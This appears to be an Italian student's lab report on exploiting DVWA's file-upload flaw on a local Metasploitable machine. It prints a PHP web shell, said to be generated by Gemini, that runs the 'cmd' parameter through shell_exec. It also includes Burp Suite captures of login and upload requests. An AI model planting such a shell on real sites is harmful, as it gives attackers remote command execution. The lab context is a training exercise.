

S6 L1

Codice php per aprire una shell su un sito internet generato grazie a gemini:

```
" <?php
// Controlla se è stato inviato un comando tramite il parametro 'cmd'
if (isset($_GET['cmd'])) {
    $command = $_GET['cmd'];

    // Esegue il comando e cattura l'output
    $output = shell_exec($command);
}
?>

<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Web Shell PHP</title>
    <style>
        body { font-family: monospace; background: #1e1e1e; color: #00ff00; padding:
20px; }
        input { width: 80%; padding: 5px; background: #333; color: #fff; border: 1px solid
#555; }
        pre { background: #000; padding: 15px; border-radius: 5px; overflow-x: auto; }
    </style>
</head>
<body>
    <h2>PHP Command Shell</h2>
    <form method="GET">
```

</form>

</html> “

Screenshot dell'esecuzione dell'esercizio

[illegible]

Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)

PrettyRawHex

1GET /dvwa/ HTTP/1.1

2Host: 192.168.50.11

3Accept-Language: en-US,en;q=0.9

4Upgrade-Insecure-Requests: 1

5User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

7Referer: http://192.168.50.11/

8Accept-Encoding: gzip, deflate, br

9Connection: keep-alive

0

Burp

Project

Intruder

Repeater

View

Help

Burp Suite Community Edition V2025.7.4 - 1 temporary Project

Dashboard

Target

Proxy

Intruder

Repeater

Collaborator

Sequencer

Decoder

Comparer

Logger

Organizer

Extensions

Learn

Intercept

HTTP history

WebSockets history

Match and replace

Proxy settings

Interception on

Forward

Drop

Time	Type	Direction	Method	URL
16:08:23 12 Jan ...	HTTP	Request	POST	http://192.168.50.11/dvwa/login.php

Request

PrettyRawHex

1POST /dvwa/login.php HTTP/1.1

2Host: 192.168.50.11

3Content-Length: 44

4Cache-Control: max-age=0

5Accept-Language: en-US,en;q=0.9

6Origin: http://192.168.50.11

7Content-Type: application/x-www-form-urlencoded

8Upgrade-Insecure-Requests: 1

9User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

1Referer: http://192.168.50.11/dvwa/login.php

2Accept-Encoding: gzip, deflate, br

3Cookie: security=high; PHPSESSID=b47d35c024c8c4c3563647d99e3aac1a

4Connection: keep-alive

5

6username=admin&password=password&Login=Login

Intercept

HTTP history

WebSockets history

Match and replace

Proxy settings

Interception on

Forward

Drop

Time	Type	Direction	Method	URL
16:17:31 12 Jan 2...	HTTP	Request	POST	http://192.168.50.11/dvwa/vulnerabilities/upload/

Request

PrettyRawHex

1POST /dvwa/vulnerabilities/upload/ HTTP/1.1

2Host: 192.168.50.11

3Content-Length: 1391

4Cache-Control: max-age=0

5Accept-Language: en-US,en;q=0.9

6Origin: http://192.168.50.11

7Content-Type: multipart/form-data; boundary=---WebKitFormBoundaryNwpDLjdSTUH08JO

8Upgrade-Insecure-Requests: 1

9User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11Referer: http://192.168.50.11/dvwa/vulnerabilities/upload/

12Accept-Encoding: gzip, deflate, br

13Cookie: security=low; PHPSESSID=b47d35c024c8c4c3563647d99e3aac1a

14Connection: keep-alive

15

16-----WebKitFormBoundaryNwpDLjdSTUH08JO

17Content-Disposition: form-data; name="MAX_FILE_SIZE"

18

19100000